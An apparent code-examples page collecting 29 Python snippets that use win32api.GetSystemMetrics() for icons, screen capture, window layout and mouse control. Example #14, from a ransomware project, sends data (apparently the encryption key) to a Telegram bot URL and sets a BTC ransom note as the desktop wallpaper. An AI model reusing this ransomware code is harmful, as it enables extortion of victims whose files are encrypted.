Python win32api.GetSystemMetrics() Examples

The following are 29 code examples of win32api.GetSystemMetrics(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module win32api , or try the search function .
Example #1
Source File: image_search.py    From ultra_secret_scripts with GNU General Public License v3.0 7 votes vote down vote up
def get_screen_area_as_image(area=(0, 0, GetSystemMetrics(0), GetSystemMetrics(1))):
    screen_width = GetSystemMetrics(0)
    screen_height = GetSystemMetrics(1)

    # h, w = image.shape[:-1]  # height and width of searched image

    x1 = min(int(area[0]), screen_width)
    y1 = min(int(area[1]), screen_height)
    x2 = min(int(area[2]), screen_width)
    y2 = min(int(area[3]), screen_height)

    search_area = (x1, y1, x2, y2)

    img_rgb = ImageGrab.grab().crop(search_area).convert("RGB")
    img_rgb = np.array(img_rgb)  # convert to cv2 readable format (and to BGR)
    img_rgb = img_rgb[:, :, ::-1].copy()  # convert back to RGB

    return img_rgb 
Example #2
Source File: gui_win.py    From ComicStreamer with Apache License 2.0 7 votes vote down vote up
def prep_menu_icon(self, icon):
        # First load the icon.
        ico_x = win32api.GetSystemMetrics(win32con.SM_CXSMICON)
        ico_y = win32api.GetSystemMetrics(win32con.SM_CYSMICON)
        hicon = win32gui.LoadImage(0, icon, win32con.IMAGE_ICON, ico_x, ico_y, win32con.LR_LOADFROMFILE)

        hdcBitmap = win32gui.CreateCompatibleDC(0)
        hdcScreen = win32gui.GetDC(0)
        hbm = win32gui.CreateCompatibleBitmap(hdcScreen, ico_x, ico_y)
        hbmOld = win32gui.SelectObject(hdcBitmap, hbm)
        # Fill the background.
        brush = win32gui.GetSysColorBrush(win32con.COLOR_MENU)
        win32gui.FillRect(hdcBitmap, (0, 0, 16, 16), brush)
        # unclear if brush needs to be feed.  Best clue I can find is:
        # "GetSysColorBrush returns a cached brush instead of allocating a new
        # one." - implies no DeleteObject
        # draw the icon
        win32gui.DrawIconEx(hdcBitmap, 0, 0, hicon, ico_x, ico_y, 0, 0, win32con.DI_NORMAL)
        win32gui.SelectObject(hdcBitmap, hbmOld)
        win32gui.DeleteDC(hdcBitmap)
        
        return hbm 
Example #3
Source File: DockingBar.py    From ironpython2 with Apache License 2.0 6 votes vote down vote up
def __init__(self, obj=None):
		if obj is None:
			obj = win32ui.CreateControlBar()
		window.Wnd.__init__(self, obj)
		self.dialog = None
		self.nDockBarID = 0
		self.sizeMin = 32, 32
		self.sizeHorz = 200, 200
		self.sizeVert = 200, 200
		self.sizeFloat = 200, 200
		self.bTracking = 0
		self.bInRecalcNC = 0
		self.cxEdge = 6
		self.cxBorder = 3
		self.cxGripper = 20
		self.brushBkgd = win32ui.CreateBrush()
		self.brushBkgd.CreateSolidBrush(win32api.GetSysColor(win32con.COLOR_BTNFACE))

		# Support for diagonal resizing
		self.cyBorder = 3
		self.cCaptionSize = win32api.GetSystemMetrics(win32con.SM_CYSMCAPTION)
		self.cMinWidth = win32api.GetSystemMetrics(win32con.SM_CXMIN)
		self.cMinHeight = win32api.GetSystemMetrics(win32con.SM_CYMIN)
		self.rectUndock = (0,0,0,0) 
Example #4
Source File: list.py    From ironpython2 with Apache License 2.0 6 votes vote down vote up
def FillList(self):
		index = 0
		size = self.GetWindowRect()
		width = size[2] - size[0] - (10) - win32api.GetSystemMetrics(win32con.SM_CXVSCROLL)
		numCols = len(self.colHeadings)

		for col in self.colHeadings:
			itemDetails = (commctrl.LVCFMT_LEFT, width/numCols, col, 0)
			self.itemsControl.InsertColumn(index, itemDetails)
			index = index + 1
		index = 0
		for items in self.items:
			index = self.itemsControl.InsertItem(index+1, str(items[0]), 0)
			for itemno in range(1,numCols):
				item = items[itemno]
				self.itemsControl.SetItemText(index, itemno, str(item)) 
Example #5
Source File: winapi.py    From gui-o-matic with GNU Lesser General Public License v3.0 6 votes vote down vote up
def __init__( self, parent ):
            super( Window.ProgressBar, self ).__init__()
            rect = win32gui.GetClientRect( parent.window_handle )
            yscroll = win32api.GetSystemMetrics(win32con.SM_CYVSCROLL)
            self.handle = win32gui.CreateWindowEx( 0,
                                                   commctrl.PROGRESS_CLASS,
                                                   None,
                                                   win32con.WS_VISIBLE | win32con.WS_CHILD,
                                                   rect[ 0 ] + yscroll,
                                                   (rect[ 3 ]) - 2 * yscroll,
                                                   (rect[ 2 ] - rect[ 0 ]) - 2*yscroll,
                                                   yscroll,
                                                   parent.window_handle,
                                                   self.registry_id,
                                                   win32gui.GetModuleHandle(None),
                                                   None ) 
Example #6
Source File: shell.py    From eavatar-me with Apache License 2.0 6 votes vote down vote up
def prep_menu_icon(self, icon):
        # First load the icon.
        ico_x = win32api.GetSystemMetrics(win32con.SM_CXSMICON)
        ico_y = win32api.GetSystemMetrics(win32con.SM_CYSMICON)
        hicon = win32gui.LoadImage(0, icon, win32con.IMAGE_ICON, ico_x, ico_y,
                                   win32con.LR_LOADFROMFILE)

        hdcBitmap = win32gui.CreateCompatibleDC(0)
        hdcScreen = win32gui.GetDC(0)
        hbm = win32gui.CreateCompatibleBitmap(hdcScreen, ico_x, ico_y)
        hbmOld = win32gui.SelectObject(hdcBitmap, hbm)
        # Fill the background.
        brush = win32gui.GetSysColorBrush(win32con.COLOR_MENU)
        win32gui.FillRect(hdcBitmap, (0, 0, 16, 16), brush)
        # unclear if brush needs to be feed.  Best clue I can find is:
        # "GetSysColorBrush returns a cached brush instead of allocating a new
        # one." - implies no DeleteObject
        # draw the icon
        win32gui.DrawIconEx(hdcBitmap, 0, 0, hicon, ico_x, ico_y, 0, 0,
                            win32con.DI_NORMAL)
        win32gui.SelectObject(hdcBitmap, hbmOld)
        win32gui.DeleteDC(hdcBitmap)

        return hbm 
Example #7
Source File: systray.py    From OpenBazaar-Installer with MIT License 6 votes vote down vote up
def prep_menu_icon(self, icon):
        # First load the icon.
        ico_x = win32api.GetSystemMetrics(win32con.SM_CXSMICON)
        ico_y = win32api.GetSystemMetrics(win32con.SM_CYSMICON)
        hicon = win32gui.LoadImage(0, icon, win32con.IMAGE_ICON, ico_x, ico_y, win32con.LR_LOADFROMFILE)

        hdcBitmap = win32gui.CreateCompatibleDC(0)
        hdcScreen = win32gui.GetDC(0)
        hbm = win32gui.CreateCompatibleBitmap(hdcScreen, ico_x, ico_y)
        hbmOld = win32gui.SelectObject(hdcBitmap, hbm)
        # Fill the background.
        brush = win32gui.GetSysColorBrush(win32con.COLOR_MENU)
        win32gui.FillRect(hdcBitmap, (0, 0, 16, 16), brush)
        # unclear if brush needs to be feed.  Best clue I can find is:
        # "GetSysColorBrush returns a cached brush instead of allocating a new
        # one." - implies no DeleteObject
        # draw the icon
        win32gui.DrawIconEx(hdcBitmap, 0, 0, hicon, ico_x, ico_y, 0, 0, win32con.DI_NORMAL)
        win32gui.SelectObject(hdcBitmap, hbmOld)
        win32gui.DeleteDC(hdcBitmap)

        return hbm 
Example #8
Source File: winapi.py    From gui-o-matic with GNU Lesser General Public License v3.0 5 votes vote down vote up
def screen_size():
        return tuple( map( win32api.GetSystemMetrics,
                           (win32con.SM_CXVIRTUALSCREEN,
                            win32con.SM_CYVIRTUALSCREEN))) 
Example #9
Source File: overlay_label.py    From ultra_secret_scripts with GNU General Public License v3.0 5 votes vote down vote up
def update(self):
        self.label.config(text=self.text)
        self.label.config(fg=self.fg)
        if self.bg == "none":
            self.label.config(bg="#f1f2f2")
        else:
            self.label.config(bg=self.bg)

        self.label.update()
        self.width = self.label.winfo_width()
        self.height = self.label.winfo_height()

        screen_width = win32api.GetSystemMetrics(0)
        screen_height = win32api.GetSystemMetrics(1)

        if self.pos[0] == "T":
            y = 0
        elif self.pos[0] == "M":
            y = screen_height / 2 - self.height / 2
        else:
            y = screen_height - self.height

        if self.pos[1] == "L":
            x = 0
        elif self.pos[1] == "C":
            x = screen_width / 2 - self.width / 2
        else:
            x = screen_width - self.width

        self.label.master.geometry("+{}+{}".format(int(x), int(y)))
        self.label.update() 
Example #10
Source File: winapi.py    From gui-o-matic with GNU Lesser General Public License v3.0 5 votes vote down vote up
def IconSmall( cls, *args, **kwargs ):
        dims =(win32con.SM_CXSMICON, win32con.SM_CYSMICON)
        size = tuple(map(win32api.GetSystemMetrics,dims))
        return cls.Icon( *args, size = size, **kwargs ) 
Example #11
Source File: winapi.py    From gui-o-matic with GNU Lesser General Public License v3.0 5 votes vote down vote up
def IconLarge( cls, *args, **kwargs ):
        dims =(win32con.SM_CXICON, win32con.SM_CYICON)
        size = tuple(map(win32api.GetSystemMetrics,dims))
        return cls.Icon( *args, size = size, **kwargs ) 
Example #12
Source File: steam.py    From Yugioh-bot with MIT License 5 votes vote down vote up
def __calculate_absolute_coordinates__(self, x, y):
        width, height = win32api.GetSystemMetrics(SM_CXSCREEN), win32api.GetSystemMetrics(SM_CYSCREEN)
        x = (x * 65536)
        y = (y * 65536)
        return int(x / width), int(y / height) 
Example #13
Source File: __init__.py    From EventGhost with GNU General Public License v2.0 5 votes vote down vote up
def __call__(self, x = None, y = None, displayNumber = None, center = False, useAlternateMethod=False):
        point = POINT()
        GetCursorPos(point)
        X = point.x
        Y = point.y
        mons = EnumDisplayMonitors(None, None)
        mons = [item[2] for item in mons]
        for mon in range(len(mons)):  # on what monitor (= mon) is the cursor?
            m = mons[mon]
            if m[0] <= X and X <= m[2] and m[1] <= Y and Y <= m[3]:
                break
        if displayNumber is None:
            displayNumber = mon

        monitorDimensions = GetMonitorDimensions()
        try:
            displayRect = monitorDimensions[displayNumber]
        except IndexError:
            displayNumber = 0
            displayRect = monitorDimensions[displayNumber]
        if center:
            x = displayRect[2] / 2
            y = displayRect[3] / 2

        if x is None:
            x = X - mons[displayNumber][0]
        if y is None:
            y = Y - mons[displayNumber][1]

        x += displayRect[0]
        y += displayRect[1]
        if useAlternateMethod:
            x = x * 65535 / GetSystemMetrics(0)
            y = y * 65535 / GetSystemMetrics(1)
            mouse_event2(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE, x, y)
        else:
            SetCursorPos(x, y) 
Example #14
Source File: Ransomware.py    From Python-Ransomware with GNU General Public License v3.0 5 votes vote down vote up
def OneStart():
    
    try:        # Run Try/Except So We Dont Run in to Error
    
        HttpReq     = D_E_ncrypt(Url=f"https://api.telegram.org/bot{Token}/sendMessage?chat_id={NumID}&text={Message}")
        threading.Thread(target=HttpReq.SendKey, args=()).start() # Making HttpReq Moudle And Runnig it In a Thread

        Img = Image.new('RGB', (GetSystemMetrics(0), GetSystemMetrics(1)), color = (0, 0, 0))   # Getting Window Heihgt & Weight To Make Background

        Canvas= ImageDraw.Draw(Img)                                                             # Drawing Image
        font = ImageFont.truetype("arial", int(GetSystemMetrics(1)/20))                         # Getting Right Font Size          
        Canvas.text(
            (10,10), (r"""
                Your data Is encrypted  In order to Get your
                    > date back Send me (YOUR PRICE USD) in BTC to this Wellt
                    > and then email me for your key
                    > YOUR WELLET
                    > GoodLuck :)
                    > ~ YOUR NAME """), 
                fill=(255,0,0),font=font)                                                       # Write Text On Image                                                        
 
        Img.save('Bg.png')                                                                      # Save Image as bg.png

        ctypes.windll.user32.SystemParametersInfoW(20, 0, f'{os.getcwd()}\\Bg.png' , 0)         # Set New Background Up

    except:pass 
Example #15
Source File: tray.py    From MouseTracks with GNU General Public License v3.0 5 votes vote down vote up
def _set_icon_menu(self, icon):
        """Load icons into the tray items.
        
        Got from https://stackoverflow.com/a/45890829.
        """
        ico_x = win32api.GetSystemMetrics(win32con.SM_CXSMICON)
        ico_y = win32api.GetSystemMetrics(win32con.SM_CYSMICON)
        hIcon = win32gui.LoadImage(0, icon, win32con.IMAGE_ICON, ico_x, ico_y, win32con.LR_LOADFROMFILE)

        hwndDC = win32gui.GetWindowDC(self.hwnd)
        dc = win32ui.CreateDCFromHandle(hwndDC)
        memDC = dc.CreateCompatibleDC()
        iconBitmap = win32ui.CreateBitmap()
        iconBitmap.CreateCompatibleBitmap(dc, ico_x, ico_y)
        oldBmp = memDC.SelectObject(iconBitmap)
        brush = win32gui.GetSysColorBrush(win32con.COLOR_MENU)

        win32gui.FillRect(memDC.GetSafeHdc(), (0, 0, ico_x, ico_y), brush)
        win32gui.DrawIconEx(memDC.GetSafeHdc(), 0, 0, hIcon, ico_x, ico_y, 0, 0, win32con.DI_NORMAL)

        memDC.SelectObject(oldBmp)
        memDC.DeleteDC()
        win32gui.ReleaseDC(self.hwnd, hwndDC)

        self.logger.debug('Set menu icon.')

        return iconBitmap.GetHandle() 
Example #16
Source File: main.py    From MouseTracks with GNU General Public License v3.0 5 votes vote down vote up
def get_resolution():
    """Get the resolution of the main monitor.
    Returns:
        (x, y) resolution as a tuple.
    """
    return (win32api.GetSystemMetrics(win32con.SM_CXSCREEN), 
            win32api.GetSystemMetrics(win32con.SM_CYSCREEN)) 
Example #17
Source File: grab.py    From Pine with MIT License 5 votes vote down vote up
def grab_screen(region=None):

    hwin = win32gui.GetDesktopWindow()

    if region:
            left,top,x2,y2 = region
            width = x2 - left + 1
            height = y2 - top + 1
    else:
        width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
        height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
        left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
        top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

    hwindc = win32gui.GetWindowDC(hwin)
    srcdc = win32ui.CreateDCFromHandle(hwindc)
    memdc = srcdc.CreateCompatibleDC()
    bmp = win32ui.CreateBitmap()
    bmp.CreateCompatibleBitmap(srcdc, width, height)
    memdc.SelectObject(bmp)
    memdc.BitBlt((0, 0), (width, height), srcdc, (left, top), win32con.SRCCOPY)
    
    signedIntsArray = bmp.GetBitmapBits(True)
    img = np.fromstring(signedIntsArray, dtype='uint8')
    img.shape = (height,width,4)

    srcdc.DeleteDC()
    memdc.DeleteDC()
    win32gui.ReleaseDC(hwin, hwindc)
    win32gui.DeleteObject(bmp.GetHandle())

    return cv2.cvtColor(img, cv2.COLOR_BGRA2RGB) 
Example #18
Source File: windows.py    From syncthing-gtk with GNU General Public License v2.0 5 votes vote down vote up
def is_shutting_down():
	""" Returns True if Windows initiated shutdown process """
	return (win32api.GetSystemMetrics(SM_SHUTTINGDOWN) != 0) 
Example #19
Source File: grabscreen.py    From pygta5 with GNU General Public License v3.0 5 votes vote down vote up
def grab_screen(region=None):

    hwin = win32gui.GetDesktopWindow()

    if region:
            left,top,x2,y2 = region
            width = x2 - left + 1
            height = y2 - top + 1
    else:
        width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
        height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
        left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
        top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

    hwindc = win32gui.GetWindowDC(hwin)
    srcdc = win32ui.CreateDCFromHandle(hwindc)
    memdc = srcdc.CreateCompatibleDC()
    bmp = win32ui.CreateBitmap()
    bmp.CreateCompatibleBitmap(srcdc, width, height)
    memdc.SelectObject(bmp)
    memdc.BitBlt((0, 0), (width, height), srcdc, (left, top), win32con.SRCCOPY)
    
    signedIntsArray = bmp.GetBitmapBits(True)
    img = np.fromstring(signedIntsArray, dtype='uint8')
    img.shape = (height,width,4)

    srcdc.DeleteDC()
    memdc.DeleteDC()
    win32gui.ReleaseDC(hwin, hwindc)
    win32gui.DeleteObject(bmp.GetHandle())

    return cv2.cvtColor(img, cv2.COLOR_BGRA2RGB) 
Example #20
Source File: grabscreen.py    From pygta5 with GNU General Public License v3.0 5 votes vote down vote up
def grab_screen(region=None):

    hwin = win32gui.GetDesktopWindow()

    if region:
            left,top,x2,y2 = region
            width = x2 - left + 1
            height = y2 - top + 1
    else:
        width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
        height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
        left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
        top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)


    hwindc = win32gui.GetWindowDC(hwin)
    srcdc = win32ui.CreateDCFromHandle(hwindc)
    memdc = srcdc.CreateCompatibleDC()
    bmp = win32ui.CreateBitmap()
    bmp.CreateCompatibleBitmap(srcdc, width, height)
    memdc.SelectObject(bmp)
    memdc.BitBlt((0, 0), (width, height), srcdc, (left, top), win32con.SRCCOPY)
    
    signedIntsArray = bmp.GetBitmapBits(True)
    img = np.fromstring(signedIntsArray, dtype='uint8')
    img.shape = (height,width,4)

    srcdc.DeleteDC()
    memdc.DeleteDC()
    win32gui.ReleaseDC(hwin, hwindc)
    win32gui.DeleteObject(bmp.GetHandle())

    return cv2.cvtColor(img, cv2.COLOR_BGRA2RGB) 
Example #21
Source File: grabscreen.py    From pygta5 with GNU General Public License v3.0 5 votes vote down vote up
def grab_screen(region=None):

    hwin = win32gui.GetDesktopWindow()

    if region:
            left,top,x2,y2 = region
            width = x2 - left + 1
            height = y2 - top + 1
    else:
        width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
        height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
        left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
        top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

    hwindc = win32gui.GetWindowDC(hwin)
    srcdc = win32ui.CreateDCFromHandle(hwindc)
    memdc = srcdc.CreateCompatibleDC()
    bmp = win32ui.CreateBitmap()
    bmp.CreateCompatibleBitmap(srcdc, width, height)
    memdc.SelectObject(bmp)
    memdc.BitBlt((0, 0), (width, height), srcdc, (left, top), win32con.SRCCOPY)
    
    signedIntsArray = bmp.GetBitmapBits(True)
    img = np.fromstring(signedIntsArray, dtype='uint8')
    img.shape = (height,width,4)

    srcdc.DeleteDC()
    memdc.DeleteDC()
    win32gui.ReleaseDC(hwin, hwindc)
    win32gui.DeleteObject(bmp.GetHandle())

    return cv2.cvtColor(img, cv2.COLOR_BGRA2RGB) 
Example #22
Source File: grabscreen.py    From pygta5 with GNU General Public License v3.0 5 votes vote down vote up
def grab_screen(region=None):

    hwin = win32gui.GetDesktopWindow()

    if region:
            left,top,x2,y2 = region
            width = x2 - left + 1
            height = y2 - top + 1
    else:
        width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
        height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
        left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
        top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

    hwindc = win32gui.GetWindowDC(hwin)
    srcdc = win32ui.CreateDCFromHandle(hwindc)
    memdc = srcdc.CreateCompatibleDC()
    bmp = win32ui.CreateBitmap()
    bmp.CreateCompatibleBitmap(srcdc, width, height)
    memdc.SelectObject(bmp)
    memdc.BitBlt((0, 0), (width, height), srcdc, (left, top), win32con.SRCCOPY)
    
    signedIntsArray = bmp.GetBitmapBits(True)
    img = np.fromstring(signedIntsArray, dtype='uint8')
    img.shape = (height,width,4)

    srcdc.DeleteDC()
    memdc.DeleteDC()
    win32gui.ReleaseDC(hwin, hwindc)
    win32gui.DeleteObject(bmp.GetHandle())

    return cv2.cvtColor(img, cv2.COLOR_BGRA2RGB) 
Example #23
Source File: grabscreen.py    From pygta5 with GNU General Public License v3.0 5 votes vote down vote up
def grab_screen(region=None):
    hwin = win32gui.GetDesktopWindow()
    if region:
            left,top,x2,y2 = region
            width = x2 - left + 1
            height = y2 - top + 1
    else:
        width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
        height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
        left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
        top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

    hwindc = win32gui.GetWindowDC(hwin)
    srcdc = win32ui.CreateDCFromHandle(hwindc)
    memdc = srcdc.CreateCompatibleDC()
    bmp = win32ui.CreateBitmap()
    bmp.CreateCompatibleBitmap(srcdc, width, height)
    memdc.SelectObject(bmp)
    memdc.BitBlt((0, 0), (width, height), srcdc, (left, top), win32con.SRCCOPY)

    signedIntsArray = bmp.GetBitmapBits(True)
    img = np.fromstring(signedIntsArray, dtype='uint8')
    img.shape = (height,width,4)

    srcdc.DeleteDC()
    memdc.DeleteDC()
    win32gui.ReleaseDC(hwin, hwindc)
    win32gui.DeleteObject(bmp.GetHandle())

    return cv2.cvtColor(img, cv2.COLOR_BGRA2RGB) 
Example #24
Source File: grabscreen.py    From pygta5 with GNU General Public License v3.0 5 votes vote down vote up
def grab_screen(region=None):

    hwin = win32gui.GetDesktopWindow()

    if region:
            left,top,x2,y2 = region
            width = x2 - left + 1
            height = y2 - top + 1
    else:
        width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
        height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
        left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
        top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

    hwindc = win32gui.GetWindowDC(hwin)
    srcdc = win32ui.CreateDCFromHandle(hwindc)
    memdc = srcdc.CreateCompatibleDC()
    bmp = win32ui.CreateBitmap()
    bmp.CreateCompatibleBitmap(srcdc, width, height)
    memdc.SelectObject(bmp)
    memdc.BitBlt((0, 0), (width, height), srcdc, (left, top), win32con.SRCCOPY)
    
    signedIntsArray = bmp.GetBitmapBits(True)
    img = np.fromstring(signedIntsArray, dtype='uint8')
    img.shape = (height,width,4)

    srcdc.DeleteDC()
    memdc.DeleteDC()
    win32gui.ReleaseDC(hwin, hwindc)
    win32gui.DeleteObject(bmp.GetHandle())

    return cv2.cvtColor(img, cv2.COLOR_BGRA2RGB) 
Example #25
Source File: toolmenu.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def OnInitDialog(self):
		self.editMenuCommand = self.GetDlgItem(win32ui.IDC_EDIT2)
		self.butNew = self.GetDlgItem(win32ui.IDC_BUTTON3)
		
		# Now hook the change notification messages for the edit controls.
		self.HookCommand(self.OnCommandEditControls, win32ui.IDC_EDIT1)
		self.HookCommand(self.OnCommandEditControls, win32ui.IDC_EDIT2)

		self.HookNotify(self.OnNotifyListControl, commctrl.LVN_ITEMCHANGED)
		self.HookNotify(self.OnNotifyListControlEndLabelEdit, commctrl.LVN_ENDLABELEDIT)
		
		# Hook the button clicks.
		self.HookCommand(self.OnButtonNew, win32ui.IDC_BUTTON3) # New Item
		self.HookCommand(self.OnButtonDelete, win32ui.IDC_BUTTON4) # Delete item
		self.HookCommand(self.OnButtonMove, win32ui.IDC_BUTTON1) # Move up
		self.HookCommand(self.OnButtonMove, win32ui.IDC_BUTTON2) # Move down

		# Setup the columns in the list control
		lc = self.GetDlgItem(win32ui.IDC_LIST1)
		rect = lc.GetWindowRect()
		cx = rect[2] - rect[0]
		colSize = cx/2 - win32api.GetSystemMetrics(win32con.SM_CXBORDER) - 1

		item = commctrl.LVCFMT_LEFT, colSize, "Menu Text"
		lc.InsertColumn(0, item)

		item = commctrl.LVCFMT_LEFT, colSize, "Python Command"
		lc.InsertColumn(1, item)

		# Insert the existing tools menu
		itemNo = 0
		for desc, cmd in LoadToolMenuItems():
			lc.InsertItem(itemNo, desc)
			lc.SetItemText(itemNo, 1, cmd)
			itemNo = itemNo + 1

		self.listControl = lc
		return dialog.PropertyPage.OnInitDialog(self) 
Example #26
Source File: dlgappcore.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def OnPaint(self):
		if not self.IsIconic(): return self._obj_.OnPaint()
		self.DefWindowProc(win32con.WM_ICONERASEBKGND, dc.GetHandleOutput(), 0)
		left, top, right, bottom = self.GetClientRect()
		left = (right  - win32api.GetSystemMetrics(win32con.SM_CXICON)) >> 1
		top  = (bottom - win32api.GetSystemMetrics(win32con.SM_CYICON)) >> 1
		hIcon = win32ui.GetApp().LoadIcon(self.iconId)
		self.GetDC().DrawIcon((left, top), hIcon)

	# Only needed to provide a minimized icon (and this seems
	# less important under win95/NT4 
Example #27
Source File: bitmap.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def OnCreateClient( self, createparams, context ):
		borderX = win32api.GetSystemMetrics(win32con.SM_CXFRAME)
		borderY = win32api.GetSystemMetrics(win32con.SM_CYFRAME)
		titleY = win32api.GetSystemMetrics(win32con.SM_CYCAPTION)	# includes border
		# try and maintain default window pos, else adjust if cant fit
		# get the main client window dimensions.
		mdiClient = win32ui.GetMainFrame().GetWindow(win32con.GW_CHILD)
		clientWindowRect=mdiClient.ScreenToClient(mdiClient.GetWindowRect())
		clientWindowSize=(clientWindowRect[2]-clientWindowRect[0],clientWindowRect[3]-clientWindowRect[1])
		left, top, right, bottom=mdiClient.ScreenToClient(self.GetWindowRect())
#		width, height=context.doc.size[0], context.doc.size[1]
#		width = width+borderX*2
#		height= height+titleY+borderY*2-1
#		if (left+width)>clientWindowSize[0]:
#			left = clientWindowSize[0] - width
#		if left<0:
#			left = 0
#			width = clientWindowSize[0]
#		if (top+height)>clientWindowSize[1]:
#			top = clientWindowSize[1] - height
#		if top<0:
#			top = 0
#			height = clientWindowSize[1]
#		self.frame.MoveWindow((left, top, left+width, top+height),0)
		window.MDIChildWnd.OnCreateClient(self, createparams, context)
		return 1 
Example #28
Source File: screen.py    From Airtest with Apache License 2.0 4 votes vote down vote up
def screenshot(filename, hwnd=None):
    """
    Take the screenshot of Windows app

    Args:
        filename: file name where to store the screenshot
        hwnd:

    Returns:
        bitmap screenshot file

    """
    # import ctypes
    # user32 = ctypes.windll.user32
    # user32.SetProcessDPIAware()

    if hwnd is None:
        """all screens"""
        hwnd = win32gui.GetDesktopWindow()
        # get complete virtual screen including all monitors
        w = win32api.GetSystemMetrics(SM_CXVIRTUALSCREEN)
        h = win32api.GetSystemMetrics(SM_CYVIRTUALSCREEN)
        x = win32api.GetSystemMetrics(SM_XVIRTUALSCREEN)
        y = win32api.GetSystemMetrics(SM_YVIRTUALSCREEN)
    else:
        """window"""
        rect = win32gui.GetWindowRect(hwnd)
        w = abs(rect[2] - rect[0])
        h = abs(rect[3] - rect[1])
        x, y = 0, 0
    hwndDC = win32gui.GetWindowDC(hwnd)
    mfcDC = win32ui.CreateDCFromHandle(hwndDC)
    saveDC = mfcDC.CreateCompatibleDC()
    saveBitMap = win32ui.CreateBitmap()
    saveBitMap.CreateCompatibleBitmap(mfcDC, w, h)
    saveDC.SelectObject(saveBitMap)
    saveDC.BitBlt((0, 0), (w, h), mfcDC, (x, y), win32con.SRCCOPY)
    # saveBitMap.SaveBitmapFile(saveDC, filename)
    bmpinfo = saveBitMap.GetInfo()
    bmpstr = saveBitMap.GetBitmapBits(True)
    pil_image = Image.frombuffer(
        'RGB',
        (bmpinfo['bmWidth'], bmpinfo['bmHeight']),
        bmpstr, 'raw', 'BGRX', 0, 1)
    cv2_image = pil_2_cv2(pil_image)

    mfcDC.DeleteDC()
    saveDC.DeleteDC()
    win32gui.ReleaseDC(hwnd, hwndDC)
    win32gui.DeleteObject(saveBitMap.GetHandle())
    return cv2_image 
Example #29
Source File: game_ctl.py    From onmyoji_bot with GNU General Public License v3.0 4 votes vote down vote up
def mouse_drag(self, pos1, pos2):
        """
        鼠标拖拽
            :param pos1: (x,y) 起点坐标
            :param pos2: (x,y) 终点坐标
        """
        pos1_s = win32gui.ClientToScreen(self.hwnd, pos1)
        pos2_s = win32gui.ClientToScreen(self.hwnd, pos2)
        screen_x = win32api.GetSystemMetrics(win32con.SM_CXSCREEN)
        screen_y = win32api.GetSystemMetrics(win32con.SM_CYSCREEN)
        start_x = pos1_s[0]*65535//screen_x
        start_y = pos1_s[1]*65535//screen_y
        dst_x = pos2_s[0]*65535//screen_x
        dst_y = pos2_s[1]*65535//screen_y
        move_x = np.linspace(start_x, dst_x, num=20, endpoint=True)[0:]
        move_y = np.linspace(start_y, dst_y, num=20, endpoint=True)[0:]
        self.mouse_move(pos1)
        win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0)
        for i in range(20):
            x = int(round(move_x[i]))
            y = int(round(move_y[i]))
            win32api.mouse_event(win32con.MOUSEEVENTF_MOVE |
                                 win32con.MOUSEEVENTF_ABSOLUTE, x, y, 0, 0)
            time.sleep(0.01)
        win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, 0, 0, 0, 0)